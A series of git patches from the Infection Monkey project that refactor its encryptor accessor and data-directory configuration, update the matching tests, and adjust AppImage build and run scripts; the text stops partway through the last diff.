a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,6 +1,6 @@ import logging -from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ @@ -63,7 +63,7 @@ def encrypt_system_info_ssh_keys(ssh_info): for idx, user in enumerate(ssh_info): for field in ['public_key', 'private_key', 'known_hosts']: if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor().enc(ssh_info[idx][field]) + ssh_info[idx][field] = get_encryptor().enc(ssh_info[idx][field]) def process_credential_info(telemetry_json): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 2bc7b2323cc..1f0ee180e8f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -4,7 +4,7 @@ from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from common.config_value_paths import AWS_KEYS_PATH @@ -37,7 +37,7 @@ def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str) def _set_aws_key(key_type: str, key_value: str): path_to_keys = AWS_KEYS_PATH - encrypted_key = encryptor().enc(key_value) + encrypted_key = get_encryptor().enc(key_value) ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 72a1c711abb..1ac9afdfe28 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -4,7 +4,7 @@ import dpath.util from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryptor import initialize_encryptor, encryptor +from monkey_island.cc.server_utils.encryptor import initialize_encryptor, get_encryptor from monkey_island.cc.services.config import ConfigService from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import is_aws_keys_setup @@ -27,7 +27,7 @@ def test_is_aws_keys_setup(tmp_path): # Make sure noone changed config path and broke this function initialize_encryptor(tmp_path) - bogus_key_value = encryptor().enc('bogus_aws_key') + bogus_key_value = get_encryptor().enc('bogus_aws_key') dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_secret_access_key'], bogus_key_value) dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_access_key_id'], bogus_key_value) diff --git a/monkey/monkey_island/cc/test_encryptor.py b/monkey/monkey_island/cc/test_encryptor.py index 3380d1d4310..630ae22eebb 100644 --- a/monkey/monkey_island/cc/test_encryptor.py +++ b/monkey/monkey_island/cc/test_encryptor.py @@ -1,7 +1,7 @@ import os from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.server_utils.encryptor import initialize_encryptor, encryptor +from monkey_island.cc.server_utils.encryptor import initialize_encryptor, get_encryptor TEST_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing") @@ -14,13 +14,13 @@ def test_aes_cbc_encryption(): initialize_encryptor(TEST_DATA_DIR) - assert encryptor().enc(PLAINTEXT) != PLAINTEXT + assert get_encryptor().enc(PLAINTEXT) != PLAINTEXT def test_aes_cbc_decryption(): initialize_encryptor(TEST_DATA_DIR) - assert encryptor().dec(CYPHERTEXT) == PLAINTEXT + assert get_encryptor().dec(CYPHERTEXT) == PLAINTEXT def test_create_new_password_file(tmpdir): From 115368f83d4ea888de35a30f7cacf624097aadb9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 06:41:12 -0500 Subject: [PATCH 0089/1360] cc: rename DATA_DIR constant in test to WITH_DATA_DIR --- .../monkey_island/cc/environment/test_environment_config.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index a8e8a1bebc6..6ae765d80ad 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -23,7 +23,7 @@ STANDARD_WITH_CREDENTIALS = os.path.join( TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) -DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_data_dir.json") +WITH_DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_data_dir.json") @pytest.fixture @@ -122,5 +122,5 @@ def test_generate_default_file(config_file): def test_data_dir(): - environment_config = EnvironmentConfig(DATA_DIR) + environment_config = EnvironmentConfig(WITH_DATA_DIR) assert environment_config.data_dir == "/test/data/dir" From fdeec3a6343885757cdb7e58146faad9b18b1a66 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 06:44:34 -0500 Subject: [PATCH 0090/1360] cc: rename data_dir parameter in encryptor to password_file_dir --- monkey/monkey_island/cc/server_utils/encryptor.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 19744840d13..5b1328551ad 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -15,9 +15,9 @@ class Encryptor: _BLOCK_SIZE = 32 _PASSWORD_FILENAME = "mongo_key.bin" - def __init__(self, data_dir): + def __init__(self, password_file_dir): password_file = os.path.expanduser( - os.path.join(data_dir, self._PASSWORD_FILENAME) + os.path.join(password_file_dir, self._PASSWORD_FILENAME) ) if os.path.exists(password_file): @@ -56,10 +56,10 @@ def dec(self, enc_message): return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) -def initialize_encryptor(data_dir): +def initialize_encryptor(password_file_dir): global _encryptor - _encryptor = Encryptor(data_dir) + _encryptor = Encryptor(password_file_dir) def get_encryptor(): From 45367bb0517366f587b69c6f4f605f0fc3bddccb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 06:51:03 -0500 Subject: [PATCH 0091/1360] cc: add encrypt/decrypt test --- monkey/monkey_island/cc/test_encryptor.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/monkey_island/cc/test_encryptor.py b/monkey/monkey_island/cc/test_encryptor.py index 630ae22eebb..d147ed3f5b0 100644 --- a/monkey/monkey_island/cc/test_encryptor.py +++ b/monkey/monkey_island/cc/test_encryptor.py @@ -23,6 +23,12 @@ def test_aes_cbc_decryption(): assert get_encryptor().dec(CYPHERTEXT) == PLAINTEXT +def test_aes_cbc_enc_dec(): + initialize_encryptor(TEST_DATA_DIR) + + assert get_encryptor().dec(get_encryptor().enc(PLAINTEXT)) == PLAINTEXT + + def test_create_new_password_file(tmpdir): initialize_encryptor(tmpdir) From 29c9c72ef36da97a2cd23975e5b9e835b3ebb4b9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 07:02:00 -0500 Subject: [PATCH 0092/1360] cc: rename server_config_data_dir.json -> server_config_with_data_dir.json --- monkey/monkey_island/cc/environment/test_environment_config.py | 2 +- ...er_config_data_dir.json => server_config_with_data_dir.json} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename monkey/monkey_island/cc/testing/environment/{server_config_data_dir.json => server_config_with_data_dir.json} (100%) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index 6ae765d80ad..b7712d480af 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -23,7 +23,7 @@ STANDARD_WITH_CREDENTIALS = os.path.join( TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) -WITH_DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_data_dir.json") +WITH_DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir.json") @pytest.fixture diff --git a/monkey/monkey_island/cc/testing/environment/server_config_data_dir.json b/monkey/monkey_island/cc/testing/environment/server_config_with_data_dir.json similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_data_dir.json rename to monkey/monkey_island/cc/testing/environment/server_config_with_data_dir.json From 20a3d31852c03177adc759b2f5fce7b578c6c2fd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 16 Feb 2021 11:24:10 -0500 Subject: [PATCH 0093/1360] build: add data_dir to standard server config in appimage build --- deployment_scripts/appimage/build_appimage.sh | 5 +++-- deployment_scripts/appimage/server_config.json.standard | 5 +++++ 2 files changed, 8 insertions(+), 2 deletions(-) create mode 100644 deployment_scripts/appimage/server_config.json.standard diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index d3a0fab478c..b880a06d816 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -94,7 +94,7 @@ clone_monkey_repo() { fi log_message "Cloning files from git" - branch=${2:-"select-logger-config-at-runtime"} + branch=${2:-"data-dir"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error chmod 774 -R "${MONKEY_HOME}" @@ -107,10 +107,11 @@ copy_monkey_island_to_appdir() { cp -r $REPO_MONKEY_SRC/monkey_island $INSTALL_DIR cp ./run_appimage.sh $INSTALL_DIR/monkey_island/linux/ cp ./island_logger_config.json $INSTALL_DIR/ + cp ./server_config.json.standard $INSTALL_DIR/monkey_island/cc/ # TODO: This is a workaround that may be able to be removed after PR #848 is # merged. See monkey_island/cc/environment_singleton.py for more information. - cp $INSTALL_DIR/monkey_island/cc/server_config.json.standard $INSTALL_DIR/monkey_island/cc/server_config.json + cp ./server_config.json.standard $INSTALL_DIR/monkey_island/cc/server_config.json } install_monkey_island_python_dependencies() { diff --git a/deployment_scripts/appimage/server_config.json.standard b/deployment_scripts/appimage/server_config.json.standard new file mode 100644 index 00000000000..99848f94519 --- /dev/null +++ b/deployment_scripts/appimage/server_config.json.standard @@ -0,0 +1,5 @@ +{ + "server_config": "password", + "deployment": "standard", + "data_dir": "~/.monkey_island" +} From e1209dcb4c7c54fcb864f2652c5fadf63bdf00ab Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 16 Feb 2021 11:59:27 -0500 Subject: [PATCH 0094/1360] cc: add data_dir_abs_path property to EnvironmentConfig EnvironmentConfig needs to handle environment variables and '~' in its `data_dir` property. Other components that consume `data_dir` need environment variables and '~' resolved to an absolute path. Add a property called `data_dir_abs_path` that calculates the absolute path from `data_dir`. Since `data_dir` remains unchanged, the EnvironmentConfig can be saved to file without modifying the `data_dir` option in the file. --- .../cc/environment/environment_config.py | 4 ++++ .../cc/environment/test_environment_config.py | 13 ++++++++++++- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/server_utils/encryptor.py | 4 +--- monkey/monkey_island/cc/test_encryptor.py | 8 -------- .../server_config_with_data_dir_home.json | 7 +++++++ 6 files changed, 25 insertions(+), 13 deletions(-) create mode 100644 monkey/monkey_island/cc/testing/environment/server_config_with_data_dir_home.json diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 3bc9327b456..f390d8186aa 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -50,6 +50,10 @@ def _load_from_dict(self, dict_data: Dict): self.aws = aws self.data_dir = data_dir + @property + def data_dir_abs_path(self): + return os.path.abspath(os.path.expanduser(os.path.expandvars(self.data_dir))) + def save_to_file(self): with open(self._server_config_path, "w") as f: f.write(json.dumps(self.to_dict(), indent=2)) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index b7712d480af..cee36645b22 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -24,7 +24,7 @@ TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) WITH_DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir.json") - +WITH_DATA_DIR_HOME = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir_home.json") @pytest.fixture def config_file(tmpdir): @@ -124,3 +124,14 @@ def test_generate_default_file(config_file): def test_data_dir(): environment_config = EnvironmentConfig(WITH_DATA_DIR) assert environment_config.data_dir == "/test/data/dir" + + +def set_home_env(monkeypatch, tmpdir): + monkeypatch.setenv("HOME", str(tmpdir)) + + +def test_data_dir_abs_path_from_file(monkeypatch, tmpdir): + set_home_env(monkeypatch, tmpdir) + + config = EnvironmentConfig(WITH_DATA_DIR_HOME) + assert config.data_dir_abs_path == os.path.join(tmpdir, "data_dir") diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 3e6f43d8c8e..303f5997d5f 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -35,7 +35,7 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_PATH): logger.info("Starting bootloader server") env_singleton.initialize_from_file(server_config_filename) - initialize_encryptor(env_singleton.config.data_dir) + initialize_encryptor(env_singleton.config.data_dir_abs_path) mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 5b1328551ad..162efd15e8e 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -16,9 +16,7 @@ class Encryptor: _PASSWORD_FILENAME = "mongo_key.bin" def __init__(self, password_file_dir): - password_file = os.path.expanduser( - os.path.join(password_file_dir, self._PASSWORD_FILENAME) - ) + password_file = os.path.join(password_file_dir, self._PASSWORD_FILENAME) if os.path.exists(password_file): self._load_existing_key(password_file) diff --git a/monkey/monkey_island/cc/test_encryptor.py b/monkey/monkey_island/cc/test_encryptor.py index d147ed3f5b0..b2564b16ceb 100644 --- a/monkey/monkey_island/cc/test_encryptor.py +++ b/monkey/monkey_island/cc/test_encryptor.py @@ -33,11 +33,3 @@ def test_create_new_password_file(tmpdir): initialize_encryptor(tmpdir) assert os.path.isfile(os.path.join(tmpdir, PASSWORD_FILENAME)) - - -def test_expand_home(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", str(tmpdir)) - - initialize_encryptor("~/") - - assert os.path.isfile(os.path.join(tmpdir, "mongo_key.bin")) diff --git a/monkey/monkey_island/cc/testing/environment/server_config_with_data_dir_home.json b/monkey/monkey_island/cc/testing/environment/server_config_with_data_dir_home.json new file mode 100644 index 00000000000..e6e4a0a1f4a --- /dev/null +++ b/monkey/monkey_island/cc/testing/environment/server_config_with_data_dir_home.json @@ -0,0 +1,7 @@ +{ + "server_config": "password", + "deployment": "develop", + "user": "test", + "password_hash": "abcdef", + "data_dir": "~/data_dir" +} From b5e8d895c80990808b793bce20a55534022c1dd4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 16 Feb 2021 15:04:14 -0500 Subject: [PATCH 0095/1360] cc: use data_dir when running monkey agent locally from island --- monkey/monkey_island/cc/resources/local_run.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 1a388db0af6..f76548a9afd 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -32,7 +32,7 @@ def run_local_monkey(): return False, "OS Type not found" monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries', result['filename']) - target_path = os.path.join(MONKEY_ISLAND_ABS_PATH, result['filename']) + target_path = os.path.join(env_singleton.config.data_dir_abs_path, result['filename']) # copy the executable to temp path (don't run the monkey from its current location as it may delete itself) try: From 1fad6b4666c40792b54eda7841c438786e0f195f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 16 Feb 2021 15:12:57 -0500 Subject: [PATCH 0096/1360] cc: remove unnecessary `config` property from environment_singleton Introduced in b0d478473fe --- monkey/monkey_island/cc/environment/environment_singleton.py | 3 --- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/resources/local_run.py | 2 +- 3 files changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index aa2dc32d6c0..01e83096d0b 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -20,7 +20,6 @@ } env = None -config = None def set_env(env_type: str, env_config: EnvironmentConfig): @@ -40,8 +39,6 @@ def set_to_standard(): def initialize_from_file(file_path): - global config - try: config = EnvironmentConfig(file_path) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 303f5997d5f..2110845658f 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -35,7 +35,7 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_PATH): logger.info("Starting bootloader server") env_singleton.initialize_from_file(server_config_filename) - initialize_encryptor(env_singleton.config.data_dir_abs_path) + initialize_encryptor(env_singleton.env.get_config().data_dir_abs_path) mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index f76548a9afd..0758d40c26d 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -32,7 +32,7 @@ def run_local_monkey(): return False, "OS Type not found" monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries', result['filename']) - target_path = os.path.join(env_singleton.config.data_dir_abs_path, result['filename']) + target_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, result['filename']) # copy the executable to temp path (don't run the monkey from its current location as it may delete itself) try: From 921c4d01ca586751cc62f909f457081164b6ee48 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Mar 2021 07:27:09 -0400 Subject: [PATCH 0097/1360] cc: resolve some flake8 warnings --- monkey/monkey_island.py | 4 ---- .../monkey_island/cc/environment/test_environment_config.py | 1 + monkey/monkey_island/cc/server_utils/encryptor.py | 6 +++--- 3 files changed, 4 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index e2323a7c3de..1261af888a5 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -6,10 +6,6 @@ import json # noqa: E402 -from monkey_island.cc.consts import ( - DEFAULT_SERVER_CONFIG_PATH, - DEFAULT_LOGGER_CONFIG_PATH, -) # noqa: E402 from monkey_island.cc.island_logger import json_setup_logging # noqa: E402 diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index cee36645b22..de941a6f3b6 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -26,6 +26,7 @@ WITH_DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir.json") WITH_DATA_DIR_HOME = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir_home.json") + @pytest.fixture def config_file(tmpdir): return os.path.join(tmpdir, "test_config.json") diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 162efd15e8e..161032c52d9 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -38,7 +38,7 @@ def _pad(self, message): ) def _unpad(self, message: str): - return message[0 : -ord(message[len(message) - 1])] + return message[0:-ord(message[len(message) - 1])] def enc(self, message: str): cipher_iv = Random.new().read(AES.block_size) @@ -49,9 +49,9 @@ def enc(self, message: str): def dec(self, enc_message): enc_message = base64.b64decode(enc_message) - cipher_iv = enc_message[0 : AES.block_size] + cipher_iv = enc_message[0:AES.block_size] cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) + return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode()) def initialize_encryptor(password_file_dir): From 1ac67cfe548673b8cf3dcaaadee716dbb9849e38 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 17 Feb 2021 15:38:43 -0500 Subject: [PATCH 0098/1360] build: create ~/.monkey_island with 0700 permissions --- deployment_scripts/appimage/run_appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/appimage/run_appimage.sh b/deployment_scripts/appimage/run_appimage.sh index 17c8802b229..f33a9569908 100644 --- a/deployment_scripts/appimage/run_appimage.sh +++ b/deployment_scripts/appimage/run_appimage.sh @@ -21,7 +21,7 @@ if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then python_cmd="python3.7" fi -mkdir -p $DOT_MONKEY +mkdir --mode=0700 --parents $DOT_MONKEY DB_DIR=$DOT_MONKEY/db mkdir -p $DB_DIR From eae5881b5f7c78d9cb5064a90569d8d5423b3c2f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 17 Feb 2021 15:40:33 -0500 Subject: [PATCH 0099/1360] build: prevent PyInstaller from being installed into the appimage --- deployment_scripts/appimage/build_appimage.sh | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index b880a06d816..a064cb739b6 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -58,7 +58,7 @@ install_build_prereqs() { sudo apt install -y python3 python3-pip python3-setuptools patchelf desktop-file-utils libgdk-pixbuf2.0-dev fakeroot strace #monkey island prereqs - sudo apt install -y curl libcurl4 python3.7 python3.7-dev openssl git build-essential + sudo apt install -y curl libcurl4 python3.7 python3.7-dev openssl git build-essential moreutils install_pip_37 install_nodejs } @@ -94,7 +94,7 @@ clone_monkey_repo() { fi log_message "Cloning files from git" - branch=${2:-"data-dir"} + branch=${2:-"local-run-data-dir"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error chmod 774 -R "${MONKEY_HOME}" @@ -116,9 +116,15 @@ copy_monkey_island_to_appdir() { install_monkey_island_python_dependencies() { log_message "Installing island requirements" + requirements_island="$ISLAND_PATH/requirements.txt" + # TODO: This is an ugly hack. PyInstaller is a build-time dependency and should + # not be installed as a runtime requirement. + sed '4d' $requirements_island | sponge $requirements_island + ${python_cmd} -m pip install -r "${requirements_island}" --ignore-installed --prefix /usr --root=$APPDIR || handle_error ${python_cmd} -m pip install pyjwt==1.7 --ignore-installed -U --prefix /usr --root=$APPDIR || handle_error + #${python_cmd} -m pip install PyNacl --user --upgrade || handle_error } From 3c113f7a89743edccfff2388a67db6f0ac46bf9d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 18 Feb 2021 11:33:59 -0500 Subject: [PATCH 0100/1360] build: work around limitations in appimage-builder See https://github.com/AppImageCrafters/appimage-builder/issues/93 for more information. --- deployment_scripts/appimage/build_appimage.sh | 25 ++++++++++++++++--- 1 file changed, 21 insertions(+), 4 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index a064cb739b6..a88e814ed16 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -169,6 +169,26 @@ build_frontend() { popd || handle_error } +build_appimage() { + log_message "Building AppImage" + appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-appimage + + # There is a bug or unwanted behavior in appimage-builder that causes issues + # if 32-bit binaries are present in the appimage. To work around this, we: + # 1. Build the AppDir with appimage-builder and skip building the appimage + # 2. Add the 32-bit binaries to the AppDir + # 3. Build the AppImage with appimage-builder from the already-built AppDir + # + # Note that appimage-builder replaces the interpreter on the monkey agent binaries + # when building the AppDir. This is unwanted as the monkey agents may execute in + # environments where the AppImage isn't loaded. + # + # See https://github.com/AppImageCrafters/appimage-builder/issues/93 for more info. + download_monkey_agent_binaries + + appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-build +} + download_monkey_helper_binaries() { # Making dir for binaries mkdir "${MONKEY_BIN_DIR}" @@ -228,7 +248,6 @@ install_monkey_island_python_dependencies #requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt" #${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error -download_monkey_agent_binaries install_mongodb @@ -242,9 +261,7 @@ mkdir -p $APPDIR/usr/share/icons cp $REPO_MONKEY_SRC/monkey_island/cc/ui/src/images/monkey-icon.svg $APPDIR/usr/share/icons/monkey-icon.svg #cp ./monkey_island.desktop $APPDIR -log_message "Building AppImage" -appimage-builder --recipe monkey_island_builder.yml - +build_appimage log_message "Deployment script finished." exit 0 From a97bd1935847e562b1fe20035e3e4e7e36adda1c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 18 Feb 2021 11:36:49 -0500 Subject: [PATCH 0101/1360] build: remove unnecessary comments from appimage build --- deployment_scripts/appimage/build_appimage.sh | 18 +----------------- 1 file changed, 1 insertion(+), 17 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index a88e814ed16..c812812427e 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -124,8 +124,6 @@ install_monkey_island_python_dependencies() { ${python_cmd} -m pip install -r "${requirements_island}" --ignore-installed --prefix /usr --root=$APPDIR || handle_error ${python_cmd} -m pip install pyjwt==1.7 --ignore-installed -U --prefix /usr --root=$APPDIR || handle_error - - #${python_cmd} -m pip install PyNacl --user --upgrade || handle_error } download_monkey_agent_binaries() { @@ -142,9 +140,6 @@ log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" } install_mongodb() { - #log_message "Installing libcurl4" - #sudo apt-get install -y libcurl4 - log_message "Installing MongoDB" mkdir -p $MONGO_PATH @@ -152,7 +147,6 @@ install_mongodb() { } generate_ssl_cert() { - # Generate SSL certificate log_message "Generating certificate" chmod u+x "${ISLAND_PATH}"/linux/create_certificate.sh @@ -235,31 +229,21 @@ clone_monkey_repo download_monkey_helper_binaries copy_monkey_island_to_appdir + # Create folders log_message "Creating island dirs under $ISLAND_PATH" mkdir -p "${MONGO_PATH}" || handle_error -#log_message "Installing python3-distutils" -#sudo apt-get install -y python3-distutils install_monkey_island_python_dependencies -#log_message "Installing monkey requirements" -#sudo apt-get install -y libffi-dev upx libssl-dev libc++1 -#requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt" -#${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error - - install_mongodb generate_ssl_cert build_frontend -#cp ./AppRun $APPDIR - mkdir -p $APPDIR/usr/share/icons cp $REPO_MONKEY_SRC/monkey_island/cc/ui/src/images/monkey-icon.svg $APPDIR/usr/share/icons/monkey-icon.svg -#cp ./monkey_island.desktop $APPDIR build_appimage From 7910d9be52a9a93dbb804ca5d465c732322c050a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 18 Feb 2021 12:23:13 -0500 Subject: [PATCH 0102/1360] build: install nodejs 12 in appimage --- deployment_scripts/appimage/monkey_island_builder.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/deployment_scripts/appimage/monkey_island_builder.yml b/deployment_scripts/appimage/monkey_island_builder.yml index 6b77c74374e..faa3c287629 100644 --- a/deployment_scripts/appimage/monkey_island_builder.yml +++ b/deployment_scripts/appimage/monkey_island_builder.yml @@ -22,6 +22,9 @@ AppDir: - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-security universe - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-updates main restricted - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-updates universe + - sourceline: deb [arch=amd64] http://deb.nodesource.com/node_12.x bionic main + key_url: http://keyserver.ubuntu.com/pks/lookup?op=get&search=0x1655A0AB68576280 + include: - libc6 From 5e56257051c91e94ca2acd4192409e8432561333 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 18 Feb 2021 14:49:08 -0500 Subject: [PATCH 0103/1360] build: do not pull agent helper binaries during appimage build --- deployment_scripts/appimage/build_appimage.sh | 27 +------------------ 1 file changed, 1 insertion(+), 26 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh 